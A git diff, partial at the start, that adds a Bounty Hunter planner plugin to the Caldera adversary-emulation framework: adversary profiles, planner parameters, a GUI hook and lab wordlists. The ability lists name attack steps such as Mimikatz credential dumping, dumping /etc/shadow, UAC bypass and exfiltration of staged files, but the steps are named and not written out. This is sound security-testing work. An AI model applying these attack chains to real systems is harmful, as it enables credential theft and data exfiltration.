ce6628bc-c1e2-456b-91e7-da5b8bcd4005 # Abuse bash can be executed with sudo privileges + - 0220b3e7-9ba0-4529-abb4-52a70dc49b50 # UAC Bypass via sdctl + - a440211a-d2cc-4f89-a02d-a39061a0e697 # Dumping credentials via wmidump (Mimikatz) + - 8320facd-6bc9-4850-8ecb-02a18064aa91 # Dump /etc/shadow diff --git a/data/adversaries/f22d4006-de2f-4822-9fc9-37a16d68f8fe.yml b/data/adversaries/f22d4006-de2f-4822-9fc9-37a16d68f8fe.yml new file mode 100644 index 0000000..6c5fd9b --- /dev/null +++ b/data/adversaries/f22d4006-de2f-4822-9fc9-37a16d68f8fe.yml @@ -0,0 +1,13 @@ +--- + +id: f22d4006-de2f-4822-9fc9-37a16d68f8fe +name: Bounty Hunter - Locked Abilities Demonstrator +description: | + This adversary profile shows the use case of locking abilities to generate more realistic and more sophisticated attack chains. + Run operations using this adversary profile and the Look Ahead vs Bounty Hunter Planner to see the different results. +atomic_ordering: + - 90c2efaa-8205-480d-8bb6-61d90dbaf81b # Find Files + - 4e97e699-93d7-4040-b5a3-2e906a58199e # Stage sensitive files + - ea713bc4-63f0-491c-9a6f-0b01d560b87e # Exfil staged directory + - 6469befa-748a-4b9c-a96d-f191fde47d89 # Create staging directory + - 300157e5-f4ad-4569-b533-9d1fa0e74d74 # Compress staged directory diff --git a/data/planners/e1bb9388-1845-495d-b67b-ad61a31ff6cd.yml b/data/planners/e1bb9388-1845-495d-b67b-ad61a31ff6cd.yml new file mode 100644 index 0000000..92e6c25 --- /dev/null +++ b/data/planners/e1bb9388-1845-495d-b67b-ad61a31ff6cd.yml @@ -0,0 +1,38 @@ +id: e1bb9388-1845-495d-b67b-ad61a31ff6cd +name: bountyhunter +description: | + The Bounty Hunter Planner is a custom Caldera Planner developed and implemented by Fraunhofer FKIE. + The general idea behind the Bounty Hunter's implementation was to support initial access and privilege escalation methods to allow the emulation of complete, realistic attack chains. + This kind of behavior is not supported by any other Caldera planner, at the moment. + Furthermore, it contributes a new attack behavior for Caldera adversaries. + It decides which ability to use next using the future_rewards() function introduced in the look ahead planner. + Instead of choosing the 'best ability' in every step, a weighted-random decision is made. + Furthermore, after every executed ability, rewards of other abilities are updated according to the planners configuration file and the abilities' relationship. + This way, the planner weighted-randomly chooses which abilities to execute and pursues one procedure more likely once it has started, i.e. use following abilities more likely. + The planner's behavior can be controlled using various parameters. + The 'final_abilities' is the most controlling parameter since it basically 'defines' which goal the adversary should pursue (most likely). + + The initial access phase of the Bounty Hunter can be skipped by assigning the initial agent to the group `target`. + For more information, see the planner''s README.md in `caldera/plugins/bountyhunter/`. +module: plugins.bountyhunter.app.planners.bounty_hunter +ignore_enforcement_modules: [] +params: + #seed: 42123 + #weighted_random: False + #depth: 3 + #discount: 0.9 + #default_final_reward: 1000 + #default_reward_update: 500 + final_abilities: + - 8320facd-6bc9-4850-8ecb-02a18064aa91 # Dump /etc/shadow + - a440211a-d2cc-4f89-a02d-a39061a0e697 # Credential Dumping via wmidump (mimikatz) + #- ea713bc4-63f0-491c-9a6f-0b01d560b87e # exfiltrate staged directory + #ability_rewards: + # 4e97e699-93d7-4040-b5a3-2e906a58199e: 1000 # stage sensitive files + #locked_abilities: + # - 300157e5-f4ad-4569-b533-9d1fa0e74d74 # compress staged directory + #reward_updates: + #6469befa-748a-4b9c-a96d-f191fde47d89: # create staging directory + #4e97e699-93d7-4040-b5a3-2e906a58199e: 10000 # stage sensitive files + #4e97e699-93d7-4040-b5a3-2e906a58199e: # stage sensitive files + #300157e5-f4ad-4569-b533-9d1fa0e74d74: 1 # compress staged directory diff --git a/files/wordlists/passwords.txt b/files/wordlists/passwords.txt new file mode 100644 index 0000000..923c379 --- /dev/null +++ b/files/wordlists/passwords.txt @@ -0,0 +1,16 @@ +vagrant-2 +help_me_obiw@n +use_the_f0rce +sh00t-first +beep_b00p +pr0t0c0l +thats_no_moon +d@rk_sid3 +yipp33!! +mesah_p@ssw0rd +b@ckstab +mandalorian1-1 +not-a-slug12 +hanShotFirst! +rwaaaaawr5 +daddy_issues1 \ No newline at end of file diff --git a/files/wordlists/users.txt b/files/wordlists/users.txt new file mode 100644 index 0000000..f0d2748 --- /dev/null +++ b/files/wordlists/users.txt @@ -0,0 +1,16 @@ +vagrant +leah_organa +luke_skywalker +han_solo +artoo_detoo +c_three_pio +ben_kenobi +darth_vader +anakin_skywalker +jarjar_binks +lando_calrissian +boba_fett +jabba_hutt +greedo +chewbacca +kylo_ren \ No newline at end of file diff --git a/gui/views/bountyhunter.vue b/gui/views/bountyhunter.vue new file mode 100644 index 0000000..ba15b20 --- /dev/null +++ b/gui/views/bountyhunter.vue @@ -0,0 +1,165 @@ + + + diff --git a/hook.py b/hook.py new file mode 100644 index 0000000..847ddaf --- /dev/null +++ b/hook.py @@ -0,0 +1,10 @@ +from plugins.bountyhunter.app.bountyhunter_svc import BountyHunterService + +name = 'BountyHunter' +description = 'A plugin for complete attack scenarios for Caldera.' +address = '/plugin/bountyhunter/gui' + + +async def enable(services): + bountyhunter_svc = BountyHunterService(services) + services.get('app_svc').application.router.add_route('GET', '/plugin/bountyhunter/gui', bountyhunter_svc.splash) diff --git a/payloads/payloads.zip b/payloads/payloads.zip new file mode 100644 index 0000000..7af75c5 Binary files /dev/null and b/payloads/payloads.zip differ diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..e23d3b5 --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +numpy==2.0.0 \ No newline at end of file